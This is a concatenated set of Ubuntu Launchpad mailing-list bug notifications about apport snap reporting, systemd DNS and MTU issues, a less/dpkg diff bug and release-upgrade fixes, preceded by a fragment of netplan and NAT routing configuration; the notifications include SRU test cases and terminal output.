  /etc/netplan/50-cloud-init.yaml:# 
/etc/cloud/cloud.cfg.d/99-disable-network-config.cfg with the following:
  /etc/netplan/50-cloud-init.yaml:# network: {config: disabled}
  /etc/netplan/50-cloud-init.yaml:network:
  /etc/netplan/50-cloud-init.yaml:version: 2
  /etc/netplan/50-cloud-init.yaml:ethernets:
  /etc/netplan/50-cloud-init.yaml:ens5:
  /etc/netplan/50-cloud-init.yaml:dhcp4: true
  /etc/netplan/50-cloud-init.yaml:match:
  /etc/netplan/50-cloud-init.yaml:macaddress: xx:xx:xx:xx:xx:xx
  /etc/netplan/50-cloud-init.yaml:set-name: ens5
  /etc/netplan/99_config.yaml:network:
  /etc/netplan/99_config.yaml:  version: 2
  /etc/netplan/99_config.yaml:  renderer: networkd
  /etc/netplan/99_config.yaml:  ethernets:
  /etc/netplan/99_config.yaml:ens6:
  /etc/netplan/99_config.yaml:  match:
  /etc/netplan/99_config.yaml:macaddress: yy:yy:yy:yy:yy:yy
  /etc/netplan/99_config.yaml:  dhcp4: true
  /etc/netplan/99_config.yaml:  dhcp4-overrides:
  /etc/netplan/99_config.yaml:use-routes: false
  /etc/netplan/99_config.yaml:ens7:
  /etc/netplan/99_config.yaml:  match:
  /etc/netplan/99_config.yaml:macaddress: zz:zz:zz:zz:zz:zz
  /etc/netplan/99_config.yaml:  mtu: 1500
  /etc/netplan/99_config.yaml:  dhcp4: true
  /etc/netplan/99_config.yaml:  dhcp4-overrides:
  /etc/netplan/99_config.yaml:use-mtu: false
  /etc/netplan/99_config.yaml:use-routes: false
  
  # grep . /etc/networkd-dispatcher/*/*
  /etc/networkd-dispatcher/configured.d/nat:#!/bin/bash
  /etc/networkd-dispatcher/configured.d/nat:# Do additional configuration for 
the inside and outside interfaces
  /etc/networkd-dispatcher/configured.d/nat:# route table used for 
forwarded/routed/natted traffic
  /etc/networkd-dispatcher/configured.d/nat:FWD_TABLE=99
  /etc/networkd-dispatcher/configured.d/nat:if [ "${IFACE}" = "ens6" ]; then
  /etc/networkd-dispatcher/configured.d/nat:  # delete link-local route for 
inside in default table
  /etc/networkd-dispatcher/configured.d/nat:  /sbin/ip route delete 10.0.3.0/24 
2>/dev/null || true
  /etc/networkd-dispatcher/configured.d/nat:  # add link-local route for inside 
in table 99
  /etc/networkd-dispatcher/configured.d/nat:  /sbin/ip route replace 
10.0.3.0/24 dev ens6 scope link src 10.0.3.171 table ${FWD_TABLE}
  /etc/networkd-dispatcher/configured.d/nat:  # add routes 

[Touch-packages] [Bug 1861082] Re: [SRU] ubuntu-bug doesn't know how to file bugs against snaps

[Brian Murray]

I started the SRU verification of this and I'm confused about why apport
thinks I have two versions of subiquity installed.

bdmurray@clean-focal-amd64:~$ apport-cli subiquity

*** Collecting problem information

The collected information can be sent to the developers to improve the
application. This might take a few minutes.
..dpkg-query: no packages found matching subiquity
.
*** You have two versions of this application installed, which one do you want 
to report a bug against?


Choices:
  1: subiquity 20.06.1 (stable) snap
  2: subiquity (1938) deb package
  C: Cancel
Please choose (1/2/C): c

bdmurray@clean-focal-amd64:~$ apt-cache policy subiquity
N: Unable to locate package subiquity

There is no deb of subiquity installed.

-- 
You received this bug notification because you are a member of Ubuntu
Touch seeded packages, which is subscribed to apport in Ubuntu.
https://bugs.launchpad.net/bugs/1861082

Title:
  [SRU] ubuntu-bug doesn't know how to file bugs against snaps

Status in Snapcraft:
  New
Status in snapd:
  Triaged
Status in Snap Store Server:
  New
Status in apport package in Ubuntu:
  Fix Released
Status in apport source package in Focal:
  Fix Committed

Bug description:
  [Impact]
  Users of Ubuntu 20.04 are not able to easily report bugs against applications 
provided as a snap.

  [Test Case]
  Install subiquity snap:
  # sudo snap install subiquity --classic
  subiquity 20.06.1 aus Canonical✓ installiert
  # snap list | grep subiquity
  subiquity   20.06.1  1938  latest/stable  canonical*  classic

  ubuntu-bug subiquity results in message:
  # LANGUAGE="en_US" apport-cli subiquity

  *** Collecting problem information

  The collected information can be sent to the developers to improve the
  application. This might take a few minutes.
  ...dpkg-query: no packages found matching subiquity

  *** You are about to report a bug against the deb package, but you
  also a have snap published by canonical installed. You can contact
  them via https://bugs.launchpad.net/subiquity for help. Do you want to
  continue with the bug report against the deb?

  What would you like to do? Your options are:
    Y: Yes
    N: No
    C: Cancel

  === New/Expected Result ===
  ubuntu-bug  should ask the user if he/she wants to 
report the bug against the snap or deb package, if both are installed. If the 
snap is chosen, the "Snap" and "SnapSource" fields should be part of the report:

  # LANGUAGE="en_US" apport-cli subiquity

  *** Collecting problem information

  The collected information can be sent to the developers to improve the
  application. This might take a few minutes.
  ...dpkg-query: no packages found matching subiquity

  *** You have two versions of this application installed, which one do
  you want to report a bug against?

  Choices:
    1: subiquity 20.06.1 (stable) snap
    2: subiquity (1938) deb package
    C: Cancel
  Please choose (1/2/C): 1
  .

  *** Send problem report to the developers?

  After the problem report has been sent, please fill out the form in the
  automatically opened web browser.

  What would you like to do? Your options are:
    S: Send report (46.1 KB)
    V: View report
    K: Keep report file for sending later or copying to somewhere else
    I: Cancel and ignore future crashes of this program version
    C: Cancel
  Please choose (S/V/K/I/C): V

  Make sure the following two fields are part of the generated report:
  == Snap =
  subiquity 20.06.1 (stable)

  == SnapSource =
  subiquity

  [Regression Potential]
  Small; the change adds a new add_snap_info() method to report.py and is 
triggered in the ui.py logic only in cases which would have otherwise lead to 
an error message. Furthermore, the change has been uploaded to Groovy some 
while ago where it is being used and tested.

  [Original Bug Report]
  Hello, I had problems with subiquity in the focal live server install image. 
I tried to use 'ubuntu-bug subiquity' to report the bug, but ubuntu-bug 
apparently cannot file bug reports against snaps.

  This is frustrating that users need to know which portions of Ubuntu
  are delivered via debs, which portions are delivered by snaps, and try
  to find a way to report bugs correctly.

  ubuntu-bug should know how to report bugs for Canonical software.

  Thanks

To manage notifications about this bug go to:
https://bugs.launchpad.net/snapcraft/+bug/1861082/+subscriptions

-- 
Mailing list: https://launchpad.net/~touch-packages
Post to : touch-packages@lists.launchpad.net
Unsubscribe : https://launchpad.net/~touch-packages
More help   : https://help.launchpad.net/ListHelp

[Touch-packages] [Bug 1814373] Re: storage / luks / dmsetup regressed (or got better) on ppc64le

[Steve Langasek]

** Changed in: linux (Ubuntu Disco)
   Status: New => Won't Fix

-- 
You received this bug notification because you are a member of Ubuntu
Touch seeded packages, which is subscribed to systemd in Ubuntu.
https://bugs.launchpad.net/bugs/1814373

Title:
  storage / luks / dmsetup regressed (or got better) on ppc64le

Status in linux package in Ubuntu:
  Confirmed
Status in systemd package in Ubuntu:
  Confirmed
Status in systemd source package in Xenial:
  Fix Released
Status in linux source package in Bionic:
  New
Status in systemd source package in Bionic:
  Fix Released
Status in linux source package in Cosmic:
  New
Status in systemd source package in Cosmic:
  Fix Released
Status in linux source package in Disco:
  Won't Fix
Status in systemd source package in Disco:
  Fix Released
Status in linux source package in Eoan:
  Confirmed
Status in systemd source package in Eoan:
  Confirmed
Status in systemd package in Debian:
  Fix Released

Bug description:
  in disco proposed with new systemd and v4.19 kernel it appears that
  dmsetup / cryptsetup storage either got better or worse.

  Devices take very long to activate, and sometimes remain in use during
  test clean up.

  This leads to udisks autopkgtest failing on ppc64le and systemd's
  "storage" autopkgtest is also failing.

  I've tried to make ppc64le test more resilient, but it's still odd
  that it became unstable in disco, and used to be rock solid on
  ppc64le.

  --
  sru template for systemd upload:

  [impact]
  buffer overflow can cause memory corruption; this is seen in failed 
autopkgtests

  [test case]
  see comment 6

  [regression potential]
  the patch is minimal and clearly correct; however the regression potential is 
around invalid/corrupted keys read from the keyring.

To manage notifications about this bug go to:
https://bugs.launchpad.net/ubuntu/+source/linux/+bug/1814373/+subscriptions

-- 
Mailing list: https://launchpad.net/~touch-packages
Post to : touch-packages@lists.launchpad.net
Unsubscribe : https://launchpad.net/~touch-packages
More help   : https://help.launchpad.net/ListHelp

[Touch-packages] [Bug 1811471] Re: local resolver stub fails to handle multiple TCP dns queries

[Steve Langasek]

** Changed in: resolvconf (Ubuntu Disco)
   Status: Triaged => Won't Fix

-- 
You received this bug notification because you are a member of Ubuntu
Touch seeded packages, which is subscribed to systemd in Ubuntu.
https://bugs.launchpad.net/bugs/1811471

Title:
  local resolver stub fails to handle multiple TCP dns queries

Status in systemd:
  Fix Released
Status in resolvconf package in Ubuntu:
  Triaged
Status in systemd package in Ubuntu:
  Fix Released
Status in resolvconf source package in Bionic:
  Triaged
Status in systemd source package in Bionic:
  Fix Released
Status in resolvconf source package in Cosmic:
  Triaged
Status in systemd source package in Cosmic:
  Fix Released
Status in resolvconf source package in Disco:
  Won't Fix
Status in systemd source package in Disco:
  Fix Released

Bug description:
  [Impact]

  The systemd local 'stub' resolver handles all local DNS queries (by
  default configuration used in Ubuntu), and essentially proxies all
  requests to its configured upstream DNS resolvers.

  Most local DNS resolution by applications uses glibc's getaddrinfo()
  function.  This function is configured in various ways by the
  /etc/resolv.conf file, which tells glibc what nameserver/resolver to
  contact as well as how to talk to the name server.

  By default, glibc performs UDP DNS queries, with a single DNS query
  per UDP packet.  The UDP packet size is limited per DNS spec to 512
  bytes.  For some DNS lookups, a 512 byte UDP packet is not large
  enough to contain the entire response - for example, an A record
  lookup with a large number (e.g. 30) of A record addresses.  This
  number of A record entries is possible in some cases of load
  balancing.  When the DNS UDP response size is larger than 512 bytes,
  the server puts as much response as it can into the DNS UDP response,
  and marks the "trunacted" flag.  This lets glibc know that the DNS UDP
  packet did not contain the entire response for all the A records.

  When glibc sees a UDP response that is "trunacted", by default it
  ignores the contents of that response and issues a new DNS query,
  using TCP instead of UDP.  The TCP packet size has a higher size limit
  (though see bug 1804487 which is a bug in systemd's max-sizing of TCP
  DNS packets), and so *should* allow glibc to receive the entire DNS
  response.

  However, glibc issues DNS queries for both A and  records.  When
  it uses UDP, those DNS queries are separate (i.e. one UDP DNS packet
  with a single A query, and one UDP DNS packet with a single 
  query).  When glibc uses TCP, it puts both DNS queries into a single
  TCP DNS packet - the RFC refers to this as "pipelining"
  (https://tools.ietf.org/html/rfc7766#section-6.2.1.1) and states that
  clients SHOULD do this, and that servers MUST expect to receive
  pipelined queries and SHOULD respond to all of them.  (Technically
  pipelining can be separate DNS queries, one per TCP packet, but both
  using the same TCP connection - but the clear intention of pipelining
  is to improve TCP performance, and putting both DNS queries into a
  single TCP packet is clearly more performant than using separate TCP
  packets).

  Unfortunately, systemd's local stub resolver has only very basic
  support for TCP DNS, and it handles TCP DNS queries almost identically
  to UDP DNS queries - it reads the DNS query 2-byte header (containing
  the length of the query data), reads in the single DNS query data,
  performs lookup and sends a response to that DNS query, and closes the
  TCP connection.  It does not check for "pipelined" queries in the TCP
  connection.

  That would be bad enough, as glibc is (rightly) expecting a response
  to both its A and  queries; however what glibc gets is a TCP
  connection-reset error.  That is because the local systemd stub
  resolver has closed its TCP socket while input data was still pending
  (i.e. it never even read the second pipelined DNS query).  When the
  kernel sees unread input bytes in a TCP connection that is closed, it
  sends a TCP RST to the peer (i.e. glibc) and when the kernel sees the
  RST, it dumps all data in its socket buffer and passes the ECONNRESET
  error up to the application.  So glibc gets nothing besides a
  connection reset error.

  Note also that even if the systemd local stub resolver's socket
  flushes its input buffer before closing the TCP connection (which will
  avoid the TCP RST), glibc still expects responses to both its A and
   queries before systemd closes the TCP connection, and so a simple
  change to systemd to flush the input buffer is not enough to fix the
  bug (and would also not actually fix the bug since glibc would never
  get the  response).

  [Test Case]

  This can be reproduced on any system using a local systemd stub
  resolver, when using an application that uses getaddrinfo() - such as
  ssh, telnet, ping, etc - or with a simple C program that uses
  getaddrinfo().  The dns name looked up must 

[Touch-packages] [Bug 1874953] Re: dpkg: conffile difference visualizer subprocess returned error exit status 127

[Brian Murray]

The version of less from focal-proposed resolved the issue and I'm now
able to view the diff.

Configuration file '/etc/default/smartmontools'
 ==> Modified (by you or by a script) since installation.
 ==> Package distributor has shipped an updated version.
   What would you like to do about it ?  Your options are:
Y or I  : install the package maintainer's version
N or O  : keep your currently-installed version
  D : show the differences between the versions
  Z : start a shell to examine the situation
 The default action is to keep your current version.
*** smartmontools (Y/I/N/O/D/Z) [default=N] ? d
--- /etc/default/smartmontools  2020-07-01 15:02:20.945403642 -0700
+++ /etc/default/smartmontools.dpkg-new 2019-10-09 17:32:47.0 -0700
@@ -4,9 +4,6 @@
 # List of devices you want to explicitly enable S.M.A.R.T. for
 # Not needed (and not recommended) if the device is monitored by smartd
 #enable_smart="/dev/hda /dev/hdb"
-enable_smart="/dev/vda"
-# uncomment to start smartd on system startup
-#start_smartd=yes
 
 # uncomment to pass additional options to smartd on startup
 #smartd_opts="--interval=1800"

Configuration file '/etc/default/smartmontools'
 ==> Modified (by you or by a script) since installation.
 ==> Package distributor has shipped an updated version.
   What would you like to do about it ?  Your options are:
Y or I  : install the package maintainer's version
N or O  : keep your currently-installed version
  D : show the differences between the versions
  Z : start a shell to examine the situation
 The default action is to keep your current version.
*** smartmontools (Y/I/N/O/D/Z) [default=N] ? z
Useful environment variables:
 - DPKG_SHELL_REASON
 - DPKG_CONFFILE_OLD
 - DPKG_CONFFILE_NEW
Type 'exit' when you're done.
root@clean-xenial-amd64:/# apt-cache policy less
less:
  Installed: 551-1ubuntu0.1
  Candidate: 551-1ubuntu0.1
  Version table:
 *** 551-1ubuntu0.1 500
500 http://ubuntu.osuosl.org/ubuntu focal-proposed/main amd64 Packages
100 /var/lib/dpkg/status
 551-1 500
500 http://ubuntu.osuosl.org/ubuntu focal/main amd64 Packages


** Tags removed: verification-needed verification-needed-focal
** Tags added: verification-done verification-done-focal

-- 
You received this bug notification because you are a member of Ubuntu
Touch seeded packages, which is subscribed to less in Ubuntu.
https://bugs.launchpad.net/bugs/1874953

Title:
  dpkg: conffile difference visualizer subprocess returned error exit
  status 127

Status in dpkg package in Ubuntu:
  Invalid
Status in less package in Ubuntu:
  Fix Released
Status in smartmontools package in Ubuntu:
  Invalid
Status in dpkg source package in Focal:
  Invalid
Status in less source package in Focal:
  Fix Committed
Status in smartmontools source package in Focal:
  Invalid
Status in dpkg source package in Groovy:
  Invalid
Status in less source package in Groovy:
  Fix Released
Status in smartmontools source package in Groovy:
  Invalid
Status in dpkg package in Debian:
  New
Status in less package in Debian:
  Fix Committed

Bug description:
  [Impact]
  During a release upgrade to Ubuntu 20.04 LTS some users are not able to view 
the differences made to a configuration file during the upgrade process. This 
creates a bad user experience and leads to extra crash reports.

  [Test Case]
  1) Upgrade from a not usr-merged system (Ubuntu 16.04 LTS) to Ubuntu 18.04 LTS
  2) Install the smartmontools package
  3) Edit /etc/default/smartmontools (it's enough to just add a comment in 
there)
  4) Upgrade to Ubuntu 20.04 LTS (this requires do-release-upgrade -d as 
20.04.1 is not out yet so release upgrades are not enabled)

  To test the fix in the version of less from focal-proposed some
  hackery of the release upgrader code will be necessary as it disables
  proposed during the upgrade process. After enabling -proposed for
  bionic you'll want to run do-release-upgrade -d, then cancel the
  upgrade. After which you can cd to /tmp/ubuntu-release-
  upgrader-$MKTMPDIR and edit DistUpgradeController.py and the if
  statement around line 641 re "Disable proposed on upgrade to a
  development release". Then run 'sudo ./focal'.

  [Regression Potential]
  None, as we are just calling update-alternatives in the preinst of less.

  
  Issue occurred on upgrade from 19.10 to 20.04

  ProblemType: PackageDistroRelease: Ubuntu 20.04
  Package: smartmontools 7.1-1build1
  ProcVersionSignature: Ubuntu 5.3.0-46.38-generic 5.3.18
  Uname: Linux 5.3.0-46-generic x86_64
  ApportVersion: 2.20.11-0ubuntu27
  Architecture: amd64
  CasperMD5CheckResult: skip
  Date: Fri Apr 24 21:33:08 2020
  ErrorMessage: conffile difference visualizer subprocess returned error exit 
status 127
  InstallationDate: Installed on 2011-06-18 (3233 days ago)InstallationMedia: 
Ubuntu-Server 11.04 "Natty Narwhal" - Release amd64 (20110426)
  Python3Details: /usr/bin/python3.8, Python 3.8.2, python3-minimal, 

[Touch-packages] [Bug 1883027] Re: dump_acpi_tables.py: fix incorrect output and change format

[Brian Murray]

** Tags removed: verification-needed
** Tags added: verification-done

-- 
You received this bug notification because you are a member of Ubuntu
Touch seeded packages, which is subscribed to apport in Ubuntu.
https://bugs.launchpad.net/bugs/1883027

Title:
  dump_acpi_tables.py: fix incorrect output and change format

Status in Apport:
  Confirmed
Status in apport package in Ubuntu:
  Fix Released
Status in apport source package in Focal:
  Fix Committed
Status in apport source package in Groovy:
  Fix Released

Bug description:
  [Impact]

    dump_acpi_tables.py does not always generate 4-char table names
  (which is defined by ACPI spec), and it can miss or duplicate data of
  ACPI tables in /sys/firmware/acpi/tables.

  [Test Case]
    Tested with ACPI tables from Dell's Precision 3530. The outputs are almost 
the same as ones from "acpidump". The difference is the order of ACPI tables in 
the output but the order is not important.

1. run dump_acpi_tables.py
2. run acpidump 
3. compare the outputs

Note: acpidump is from acpica-tools

  [Regression Potential]

    Formats were changed to be the same as outputs from "acpidump", but
  known tools, such as acpiexec and fwts, by default reads outputs from
  acpidump and they do not reply on spaces and upper/lower cases.

  [Other Info]

    See original bug reports as below:

  dump_acpi_tables.py generates log files that is similar as the output
  from "acpidump" in acpica-tools. The output can be passed to other
  utilities in acpica-tools and fwts.

  It, however, has some subtle differences and some errors.

  Summary:

  1. ACPI tables have 4-char signatures - meaning SSDT's are SSDT, not
  SSDT1, SSDT2 and so on. Each table is unique by its table ID.

  Original:
    SSDT1, SSDT2, SSDT3 ...

  Changed:
    SSDT, SSDT, SSDT ...

  2. (Minor) acpidump outputs are all in upper cases

  3. (Minor) acpidump offset are aligned by data, not address

  Original:
    FFF0: 53 41 56 43 52 44 43 41 4E 43 52 4E 72 4E 50 4D  SAVCRDCANCRNrNPM
    1: 56 0A 04 00 0C FC FF FF FF 0A 03 0A 03 52 44 43  VRDC

  Changed:
  FFF0: 53 41 56 43 52 44 43 41 4E 43 52 4E 72 4E 50 4D  SAVCRDCANCRNrNPM
     1: 56 0A 04 00 0C FC FF FF FF 0A 03 0A 03 52 44 43  VRDC

  4. (Bug) dump_acpi_tables.py generates an extra line when data sizes
  are multiple of 16 bytes

  Original:
  05F0: 30 30 0B 00 08 00 A4 48 50 53 44 A4 53 50 53 44  00.HPSD.SPSD
  05F0: 30 30 0B 00 08 00 A4 48 50 53 44 A4 53 50 53 44 
 00.HPSD.SPSD

  Corrected:
  05F0: 30 30 0B 00 08 00 A4 48 50 53 44 A4 53 50 53 44  00.HPSD.SPSD

  5. (Bug) dump_acpi_tables.py misses an line when data sizes are
  multiple of 15 bytes

  Original:
  07E0: 42 0A 87 5C 2F 03 5F 53 42 5F 55 42 54 43 43 43  B..\/._SB_UBTCCC

  Corrected:
  07E0: 42 0A 87 5C 2F 03 5F 53 42 5F 55 42 54 43 43 43  B..\/._SB_UBTCCC
  07F0: 49 33 86 5C 2E 5F 53 42 5F 55 42 54 43 0A 80 I3.\._SB_UBTC..

To manage notifications about this bug go to:
https://bugs.launchpad.net/apport/+bug/1883027/+subscriptions

-- 
Mailing list: https://launchpad.net/~touch-packages
Post to : touch-packages@lists.launchpad.net
Unsubscribe : https://launchpad.net/~touch-packages
More help   : https://help.launchpad.net/ListHelp

[Touch-packages] [Bug 1671951] Re: networkd should allow configuring IPV6 MTU

[Steve Langasek]

** Changed in: cloud-init (Ubuntu Disco)
   Status: New => Won't Fix

-- 
You received this bug notification because you are a member of Ubuntu
Touch seeded packages, which is subscribed to systemd in Ubuntu.
https://bugs.launchpad.net/bugs/1671951

Title:
  networkd should allow configuring IPV6 MTU

Status in systemd:
  Unknown
Status in cloud-init package in Ubuntu:
  Confirmed
Status in netplan.io package in Ubuntu:
  Fix Released
Status in systemd package in Ubuntu:
  Fix Released
Status in cloud-init source package in Bionic:
  Confirmed
Status in netplan.io source package in Bionic:
  Fix Released
Status in systemd source package in Bionic:
  Fix Released
Status in cloud-init source package in Disco:
  Won't Fix
Status in netplan.io source package in Disco:
  Fix Released
Status in systemd source package in Disco:
  Won't Fix
Status in cloud-init source package in Eoan:
  New
Status in netplan.io source package in Eoan:
  Fix Released
Status in systemd source package in Eoan:
  Fix Released
Status in cloud-init source package in Focal:
  Confirmed
Status in netplan.io source package in Focal:
  Fix Released
Status in systemd source package in Focal:
  Fix Released

Bug description:
  = netplan.io =

  [Impact]

   * IPv6 traffic failing to send/receive due to incompatible/low MTU
  setting. Specifically, IPv6 traffic may have higher MTU requirements
  than IPv4 traffic and thus may need to be overridden and/or set to a
  higher value than IPv6 traffic.

  [Test Case]
   * Apply a netplan configuration that specifices ipv6-mtu:

  network:
version: 2
ethernets:
  eth0:
dhcp4: true
dhcp6: true
ipv6-mtu: 6000

   * Check that MTU bytes, is at least IPv6MTUBytes on the interface:

  $ sysctl net.ipv6.conf.eth0.mtu
  net.ipv6.conf.eth0.mtu = 6000

  [Regression Potential]

   * This is a future compatible backport of an additional keyword not
  used by default. It may result in MTU change to a higher value, which
  should not cause loss of connectivity.

  [Other Info]

   * Original bug report below

  = end of netplan.io =

  = systemd =

  [Impact]

   * IPv6 traffic failing to send/receive due to incompatible/low MTU
  setting. Specifically, IPv6 traffic may have higher MTU requirements
  than IPv4 traffic and thus may need to be overridden and/or set to a
  higher value than IPv6 traffic.

  [Test Case]

   * Use IPv6MTUBytes= setting in a .network unit
   * Restart systemd-network
   * Check that there no error messages / warnings about not-recognizing this 
option
   * Check that MTU bytes, is at least IPv6MTUBytes on the interface

  [Regression Potential]

   * This is a future compatible backport of an additional keyword not
  used by default. It may result in MTU change to a higher value, which
  should not cause loss of connectivity.

  [Other Info]

   * Original bug report below

  = end of systemd =

  1) Zesty
  2) systemd-232-19
  3) I need to configure the IPV6 MTU for tunneling by adding an 
IPv6MTUBytes=1480 value in the .network file for an interface with an IPV6 
static address in the [Network] section
  4) networkd does not parse or read the value and does not apply this 
configuration to the interface.

  Upstream has discussed this issue here:

  https://github.com/systemd/systemd/pull/1533

  But it's been closed in favor of only setting via RA.

  However, we know of multiple use-case which are currently supported in
  ifdupdown where we want to retain control over IPV6 MTU values outside
  of PMTU Discovery configurations.

  Some context from those discussions

  >> Client systems that route their ipv6 packets to a 6in4 router also
  >> have to have their ipv6 mtu lowered.  They could lower their link mtu,
  >> so their ipv6 packets are small enough, but that reduces performance
  >> of their ipv4 network.

  Yes.  Anything that creates a PMTUD black hole can result in
  situations where the higher header overhead of IPv6 will cause IPv4 to
  pass but IPv6 traffic to be dropped.

  One example here is egress from an ipsec tunnel wherein the next
  hop MTU is too low for IPv6 datagrams to pass.  Another is VM ->
  whatever -> host bridge -> tunnel ingress.  If the datagram cannot enter
  the tunnel due to size, it is dropped, and an ICMP response uses the
  tunnel address as a source, which may not be routable back to the
  origin.  This one is an issue with IPv4 as well, and is one case where
  manually setting the IPv6 MTU lower than the (also manually set) device
  MTU is of benefit.

  In essence, any of these sort of cases that require an explicit
  setting of the device MTU will likely require a setting of the IPv6 mtu
  as well to account for its larger header overhead.

To manage notifications about this bug go to:
https://bugs.launchpad.net/systemd/+bug/1671951/+subscriptions

-- 
Mailing list: https://launchpad.net/~touch-packages
Post to : touch-packages@lists.launchpad.net
Unsubscribe : 

[Touch-packages] [Bug 1796193] Re: DistUpgradeViewNonInteractive crashes / requires interaction

[Steve Langasek]

** Changed in: apt (Ubuntu Disco)
   Status: Confirmed => Won't Fix

-- 
You received this bug notification because you are a member of Ubuntu
Touch seeded packages, which is subscribed to apt in Ubuntu.
https://bugs.launchpad.net/bugs/1796193

Title:
  DistUpgradeViewNonInteractive crashes / requires interaction

Status in apt package in Ubuntu:
  Invalid
Status in ubuntu-release-upgrader package in Ubuntu:
  Fix Released
Status in apt source package in Bionic:
  Confirmed
Status in ubuntu-release-upgrader source package in Bionic:
  Fix Released
Status in apt source package in Cosmic:
  Confirmed
Status in ubuntu-release-upgrader source package in Cosmic:
  Fix Released
Status in apt source package in Disco:
  Won't Fix
Status in ubuntu-release-upgrader source package in Disco:
  Fix Released
Status in apt source package in Eoan:
  Invalid
Status in ubuntu-release-upgrader source package in Eoan:
  Fix Released

Bug description:
  [Impact]
  The NonInteractive view of ubuntu-release-upgrader doesn't work so it is hard 
to automate upgrade testing.

  [Test Case]
  You need to create a situation where you'll receive a conffile prompt since 
the handling of those is broken.

  1) On a bionic system modify /etc/update-manager/release-upgrades so that 
Prompt=normal
  2) Test an upgrade from bionic to cosmic or disco i.e. run do-release-upgrade 
--frontend DistUpgradeViewNonInteractive
  3) Observe the upgrade hang on the '/etc/update-manager/release-upgrades' 
conffifle and the following in /var/log/dist-upgrade/main.log
  "2019-05-10 21:21:21,313 WARNING got a conffile-prompt from dpkg for file: 
'/etc/update-manager/release-upgrades'
  2019-05-10 21:21:26,319 ERROR error 'a bytes-like object is required, not 
'str'' when trying to write to the conffile"

  With the version of the release-upgrader from -proposed you'll no
  longer observe the upgrade process hanging.

  [Regression Potential]
  The fix is making it so that a byte object is passed to the prompt instead of 
a string one so there really isn't one, however additional logging which could 
result in a Traceback if the syntax of that is wrong.

  [Original Description]
  I'm trying to do some automated testing that involved upgrading a system from 
xenial to bionic, so I need it to not ask for user input.

  Before running do-release-upgrade, the system got a fresh dist-upgrade
  and reboot.

  To avoid interactive responses, I'm using:
  $ sudo do-release-upgrade -d -f DistUpgradeViewNonInteractive

  Part way through the upgrade, I do get prompted for something though:
  Preparing to unpack .../apt_1.6.3ubuntu0.1_amd64.deb ...

  Unpacking apt (1.6.3ubuntu0.1) over (1.2.27) ...

  Processing triggers for libc-bin (2.27-3ubuntu1) ...

  /sbin/ldconfig.real: Warning: ignoring configuration file that cannot
  be opened: /etc/ld.so.conf.d/x86_64-linux-gnu_EGL.conf: No such file
  or directory

  /sbin/ldconfig.real: Warning: ignoring configuration file that cannot
  be opened: /etc/ld.so.conf.d/x86_64-linux-gnu_GL.conf: No such file or
  directory

  Setting up apt (1.6.3ubuntu0.1) ...

  Installing new version of config file /etc/apt/apt.conf.d/01autoremove
  ...

  Configuration file '/etc/cron.daily/apt-compat'

   ==> Deleted (by you or by a script) since installation.

   ==> Package distributor has shipped an updated version.

     What would you like to do about it ?  Your options are:

  Y or I  : install the package maintainer's version

  N or O  : keep your currently-installed version

    D : show the differences between the versions

    Z : start a shell to examine the situation

   The default action is to keep your current version.

  Comparing the sha1 of apt-compat before the upgrade to another xenial
  system that has been unmodified, they are the same:

  In /var/log/dist-upgrade/main.log, I also found this:
  2018-10-04 14:20:24,575 WARNING got a conffile-prompt from dpkg for file: 
'/etc/cron.daily/apt-compat'
  2018-10-04 14:20:29,580 ERROR error 'a bytes-like object is required, not 
'str'' when trying to write to the conffile

To manage notifications about this bug go to:
https://bugs.launchpad.net/ubuntu/+source/apt/+bug/1796193/+subscriptions

-- 
Mailing list: https://launchpad.net/~touch-packages
Post to : touch-packages@lists.launchpad.net
Unsubscribe : https://launchpad.net/~touch-packages
More help   : https://help.launchpad.net/ListHelp

[Touch-packages] [Bug 1830746] Re: memlock setting in systemd (pid 1) too low for containers (bionic)

[Steve Langasek]

** Changed in: systemd (Ubuntu Disco)
   Status: New => Won't Fix

-- 
You received this bug notification because you are a member of Ubuntu
Touch seeded packages, which is subscribed to systemd in Ubuntu.
https://bugs.launchpad.net/bugs/1830746

Title:
  memlock setting in systemd (pid 1) too low for containers (bionic)

Status in systemd package in Ubuntu:
  Fix Released
Status in systemd source package in Bionic:
  New
Status in systemd source package in Cosmic:
  New
Status in systemd source package in Disco:
  Won't Fix
Status in systemd source package in Eoan:
  Fix Released

Bug description:
  See also https://discuss.linuxcontainers.org/t/limits-kernel-memlock-
  cannot-exceed-16777216/4856/5

  In containers, the limits.kernel.memlock cannot exceed 16777216 when
  the container is bionic. The memlock setting is set to 16M in systemd
  and cannot be bumped up in an unprivileged container.

  This is fixed in upstream systemd.

  Container ubuntu version:
  Distributor ID:   Ubuntu
  Description:  Ubuntu 18.04.2 LTS
  Release:  18.04
  Codename: bionic

  systemd package version: 237-3ubuntu10.21

To manage notifications about this bug go to:
https://bugs.launchpad.net/ubuntu/+source/systemd/+bug/1830746/+subscriptions

-- 
Mailing list: https://launchpad.net/~touch-packages
Post to : touch-packages@lists.launchpad.net
Unsubscribe : https://launchpad.net/~touch-packages
More help   : https://help.launchpad.net/ListHelp

[Touch-packages] [Bug 1827391] Re: Japanese era Reiwa SRU

[Steve Langasek]

** Changed in: icu (Ubuntu Disco)
   Status: Confirmed => Won't Fix

-- 
You received this bug notification because you are a member of Ubuntu
Touch seeded packages, which is subscribed to icu in Ubuntu.
https://bugs.launchpad.net/bugs/1827391

Title:
  Japanese era  Reiwa SRU

Status in icu package in Ubuntu:
  Fix Released
Status in icu source package in Precise:
  Confirmed
Status in icu source package in Trusty:
  Confirmed
Status in icu source package in Xenial:
  Confirmed
Status in icu source package in Bionic:
  Confirmed
Status in icu source package in Cosmic:
  Confirmed
Status in icu source package in Disco:
  Won't Fix
Status in icu source package in Eoan:
  Fix Released
Status in icu package in Debian:
  Fix Released

Bug description:
  Japanese era  Reiwa SRU

  $ rmadison icu
  4.8.1.1-3ubuntu0.7 | precise-updates
  52.1-3ubuntu0.8| trusty-updates
  55.1-7ubuntu0.4| xenial-updates
  60.2-3ubuntu3  | bionic
  60.2-6ubuntu1  | cosmic
  63.1-6 | disco
  63.1-6 | eoan

  Note reported abi break / crash of chromium at

  https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=927933

To manage notifications about this bug go to:
https://bugs.launchpad.net/ubuntu/+source/icu/+bug/1827391/+subscriptions

-- 
Mailing list: https://launchpad.net/~touch-packages
Post to : touch-packages@lists.launchpad.net
Unsubscribe : https://launchpad.net/~touch-packages
More help   : https://help.launchpad.net/ListHelp

[Touch-packages] [Bug 1832042] Re: static ip= address configuration does not end up in netplan file

[Steve Langasek]

** Changed in: initramfs-tools (Ubuntu Disco)
   Status: Confirmed => Won't Fix

-- 
You received this bug notification because you are a member of Ubuntu
